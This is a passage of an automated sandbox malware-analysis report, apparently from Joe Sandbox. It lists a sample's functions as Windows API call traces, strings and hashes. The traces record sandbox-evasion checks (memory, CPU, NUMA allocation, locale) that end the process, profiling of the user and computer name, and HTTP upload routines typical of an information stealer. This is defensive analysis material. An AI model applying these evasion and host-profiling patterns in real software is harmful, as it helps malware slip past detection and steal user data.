GetProcAddress.KERNEL32(75FD0000,00BC1CE8), ref: 00069B23
GetProcAddress.KERNEL32(75FD0000,00BC1D00), ref: 00069B3B
GetProcAddress.KERNEL32(75A50000,00BC1C70), ref: 00069B5D
GetProcAddress.KERNEL32(74E50000,00BBAEE0), ref: 00069B7E
GetProcAddress.KERNEL32(76E80000,00BC0180), ref: 00069B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00069BB6

Strings

NtQueryInformationProcess, xrefs: 00069BAA

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 45e35e95a00454f9d8d3aa585458eda1a8aa78215419dc0fb48296221ccf4d71
Instruction ID: 20af415a3640e912e3c36ad8f95037f073d7928102fac212c21badf70d7f2229
Opcode Fuzzy Hash: 45e35e95a00454f9d8d3aa585458eda1a8aa78215419dc0fb48296221ccf4d71
Instruction Fuzzy Hash: B3A149B5511300AFD344EFA9FD8EAAAB7F9F78C301714851BA60987274D739A841CBD2

Function 00054880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 000547EA
Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054801
Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054818
Part of subcall function 000547B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00054839
Part of subcall function 000547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00054849

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00054915
StrCmpCA.SHLWAPI(?,00BCDB78), ref: 0005493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00054ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00070DDB,00000000,?,?,00000000,?,",00000000,?,00BD2418), ref: 00054DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00054E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00054E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00054E49
InternetCloseHandle.WININET(00000000), ref: 00054EAD
InternetCloseHandle.WININET(00000000), ref: 00054EC5
HttpOpenRequestA.WININET(00000000,00BCDB88,?,00BD1B98,00000000,00000000,00400100,00000000), ref: 00054B15

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

InternetCloseHandle.WININET(00000000), ref: 00054ECF

Strings

", xrefs: 00054BF2
------, xrefs: 00054C69
------, xrefs: 00054B28
", xrefs: 00054D33
------, xrefs: 000549BD

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 0c27dd15f66850093f7aaba228f12c96057779bc7582d36c5b186d42a8acd8a0
Instruction ID: f6dffe689a6fbbd686eccf7a76b36aec2bde0a50f26f0e3c2500fcb3e92dc001
Opcode Fuzzy Hash: 0c27dd15f66850093f7aaba228f12c96057779bc7582d36c5b186d42a8acd8a0
Instruction Fuzzy Hash: AB12BA71A10218AADB15FB90DD96FEEB37AAF15300F504199B10677092EF702F49CF66

Function 00056280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 000547EA
Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054801
Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054818
Part of subcall function 000547B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00054839
Part of subcall function 000547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00054849

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

InternetOpenA.WININET(00070DFE,00000001,00000000,00000000,00000000), ref: 000562E1
StrCmpCA.SHLWAPI(?,00BCDB78), ref: 00056303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00056335
HttpOpenRequestA.WININET(00000000,GET,?,00BD1B98,00000000,00000000,00400100,00000000), ref: 00056385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000563BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000563D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 000563FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0005646D
InternetCloseHandle.WININET(00000000), ref: 000564EF
InternetCloseHandle.WININET(00000000), ref: 000564F9
InternetCloseHandle.WININET(00000000), ref: 00056503

Strings

ERROR, xrefs: 00056407
GET, xrefs: 0005637C
ERROR, xrefs: 000564C9

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b323153be7f422f7fb7cc23fb9a8f72494d6ebdad607375298e7dbd9d491d6b3
Instruction ID: 0f9c464626ce75845912c16759593da475d33cce2fd08f4cdf484b00cf55c393
Opcode Fuzzy Hash: b323153be7f422f7fb7cc23fb9a8f72494d6ebdad607375298e7dbd9d491d6b3
Instruction Fuzzy Hash: E1719071A00308EBDB24EFA0DC49BEEB7B4FB44701F508159F50A6B181DBB56A89CF91

Function 000617A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 000617C5
ExitProcess.KERNEL32 ref: 000617D1
strtok_s.MSVCRT ref: 000617E8

Strings

block, xrefs: 000617B7

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 5cf69a5e3e24a41e2624c6175c9db1353271ff086f3c4d4157331615d6984b78
Instruction ID: e9729522875519f04f769a1dd5ef8e1e1d6884a94478492dd8006372ade82f07
Opcode Fuzzy Hash: 5cf69a5e3e24a41e2624c6175c9db1353271ff086f3c4d4157331615d6984b78
Instruction Fuzzy Hash: ED5167B4A04209EFDB14DFA1D958BFE77B6BF44304F188449E406AB250DB74EA51CBA2

Function 00065510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0006A820: lstrlenA.KERNEL32(00000000,?,?,00065B54,00070ADB,00070ADA,?,?,00066B16,00000000,?,00BBFAB0,?,0007110C,?,00000000), ref: 0006A82B
Part of subcall function 0006A820: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A885

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00065644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 000656A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00065857

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000651F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00065228

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 000652C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00065318
Part of subcall function 000652C0: lstrlenA.KERNEL32(00000000), ref: 0006532F
Part of subcall function 000652C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00065364
Part of subcall function 000652C0: lstrlenA.KERNEL32(00000000), ref: 00065383
Part of subcall function 000652C0: strtok.MSVCRT(00000000,?), ref: 0006539E
Part of subcall function 000652C0: lstrlenA.KERNEL32(00000000), ref: 000653AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0006578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00065940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00065A0C
Sleep.KERNEL32(0000EA60), ref: 00065A1B

Strings

ERROR, xrefs: 00065849
ERROR, xrefs: 000659FE
ERROR, xrefs: 00065932
ERROR, xrefs: 0006577D
ERROR, xrefs: 00065636
ERROR, xrefs: 00065693

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: a86e9feb31d1de1c0895642929fccb48bfdf3b71e0e3e822d1210ab65a460f3c
Instruction ID: 6f967bb97e5013a3bb2e542bd6b7a133131ff79e6da0f6b41965ff52b63d8642
Opcode Fuzzy Hash: a86e9feb31d1de1c0895642929fccb48bfdf3b71e0e3e822d1210ab65a460f3c
Instruction Fuzzy Hash: 54E11071A10604AACB14FBA0EC57AEE737AAF55301F508529B50667093EF346B0DCFE2

Function 00067500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00067542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0006757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00067603
HeapAlloc.KERNEL32(00000000), ref: 0006760A
wsprintfA.USER32 ref: 00067640

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Strings

:, xrefs: 0006755C
\, xrefs: 00067560
C, xrefs: 0006754C

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ec3618b3c8b873055589e00f47b68211e3b6d4b8cddf25d95f8d0288892a30f6
Instruction ID: 19aa6292422e34f4173a2bccbc3249ba86c60786de847fcdf77225c65af7f3ef
Opcode Fuzzy Hash: ec3618b3c8b873055589e00f47b68211e3b6d4b8cddf25d95f8d0288892a30f6
Instruction Fuzzy Hash: FC418FB1D04348ABDB10DF94DC49BEEBBB9EF18704F104199F50967281DB78AA44CBA5

Function 000669F0 Relevance: 10.6, APIs: 7, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC1688), ref: 000698A1
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC1700), ref: 000698BA
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC16D0), ref: 000698D2
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC1718), ref: 000698EA
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC1778), ref: 00069903
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC0170), ref: 0006991B
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BBABA0), ref: 00069933
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BBABC0), ref: 0006994C
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC17A8), ref: 00069964
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC17C0), ref: 0006997C
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC17F0), ref: 00069995
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC1850), ref: 000699AD
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BBAC00), ref: 000699C5
Part of subcall function 00069860: GetProcAddress.KERNEL32(75900000,00BC1868), ref: 000699DE

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 000511D0: ExitProcess.KERNEL32 ref: 00051211

Part of subcall function 00051160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00066A17,00070AEF), ref: 0005116A
Part of subcall function 00051160: ExitProcess.KERNEL32 ref: 0005117E

Part of subcall function 00051110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00066A1C), ref: 0005112B
Part of subcall function 00051110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00066A1C), ref: 00051132
Part of subcall function 00051110: ExitProcess.KERNEL32 ref: 00051143

Part of subcall function 00051220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0005123E
Part of subcall function 00051220: __aulldiv.LIBCMT ref: 00051258
Part of subcall function 00051220: __aulldiv.LIBCMT ref: 00051266
Part of subcall function 00051220: ExitProcess.KERNEL32 ref: 00051294

Part of subcall function 00066770: GetUserDefaultLangID.KERNEL32(?,?,00066A26,00070AEF), ref: 00066774

GetUserDefaultLCID.KERNEL32 ref: 00066A26

Part of subcall function 00051190: ExitProcess.KERNEL32 ref: 000511C6

Part of subcall function 00067850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000511B7), ref: 00067880
Part of subcall function 00067850: HeapAlloc.KERNEL32(00000000,?,?,?,000511B7), ref: 00067887
Part of subcall function 00067850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0006789F

Part of subcall function 000678E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00066A2B), ref: 00067910
Part of subcall function 000678E0: HeapAlloc.KERNEL32(00000000,?,?,?,00066A2B), ref: 00067917
Part of subcall function 000678E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0006792F

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00BBFAB0,?,0007110C,?,00000000,?,00071110,?,00000000,00070AEF), ref: 00066ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00066AE8
CloseHandle.KERNEL32(00000000), ref: 00066AF9
Sleep.KERNEL32(00001770), ref: 00066B04
CloseHandle.KERNEL32(?,00000000,?,00BBFAB0,?,0007110C,?,00000000,?,00071110,?,00000000,00070AEF), ref: 00066B1A
ExitProcess.KERNEL32 ref: 00066B22

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 308c40ee1494b623adee250cb8cfbec8e844f315744a9ffbd024e5adffdb10f7
Instruction ID: f47a9a96dc570484d089cbd41e5d5db732469cd23e29d1a8421d254dd07b6eca
Opcode Fuzzy Hash: 308c40ee1494b623adee250cb8cfbec8e844f315744a9ffbd024e5adffdb10f7
Instruction Fuzzy Hash: CF310B71A00208AADB04FBF0EC57BEE777AAF05301F504519F612B6193DF706905CAB6

Function 000547B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 000547EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00054839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00054849

Strings

<, xrefs: 000547C9

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 25ef267a3e05de9eeb8940b280a1e6b2f0db774b6bffb07a33f65e0b29821595
Instruction ID: 102af4aecaac73cf7a68a37d6606a1e55e48408ed5146f6f38e21c6987dd790f
Opcode Fuzzy Hash: 25ef267a3e05de9eeb8940b280a1e6b2f0db774b6bffb07a33f65e0b29821595
Instruction Fuzzy Hash: E8212CB1D00209ABDF14EFA4E849BDE7B75FF44320F108225F925A7291EB706A05CF92

Function 00051220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0005123E
__aulldiv.LIBCMT ref: 00051258
__aulldiv.LIBCMT ref: 00051266
ExitProcess.KERNEL32 ref: 00051294

Strings

@, xrefs: 00051233

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 62e65935ad86f2cdf840e3546a69a16950bc034fb46945c55e1652e6d24a22c3
Instruction ID: a8402292e4240e434a6fd85f7331bd6b8bdf151d16aba3ca179bf35fb2230bd9
Opcode Fuzzy Hash: 62e65935ad86f2cdf840e3546a69a16950bc034fb46945c55e1652e6d24a22c3
Instruction Fuzzy Hash: B9016DB0D44308BAEB10DFE0DC4ABDEBBB8AB04706F208049EB05B62C1D77455858B99

Function 00066AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00BBFAB0,?,0007110C,?,00000000,?,00071110,?,00000000,00070AEF), ref: 00066ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00066AE8
CloseHandle.KERNEL32(00000000), ref: 00066AF9
Sleep.KERNEL32(00001770), ref: 00066B04
CloseHandle.KERNEL32(?,00000000,?,00BBFAB0,?,0007110C,?,00000000,?,00071110,?,00000000,00070AEF), ref: 00066B1A
ExitProcess.KERNEL32 ref: 00066B22

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 5c82ea9371c8ea70e25fd22a224d153460cc4d59de00f1898720330bc3bbb244
Instruction ID: da1a8ab3657d0706b19d65d662760e021f18bb95ac904c35ecdceda8ac22570c
Opcode Fuzzy Hash: 5c82ea9371c8ea70e25fd22a224d153460cc4d59de00f1898720330bc3bbb244
Instruction Fuzzy Hash: D2F0FE70A40319EBE710BBE0EC1ABFE7B79FF04701F105516B912A51D2DBB15540DAA7

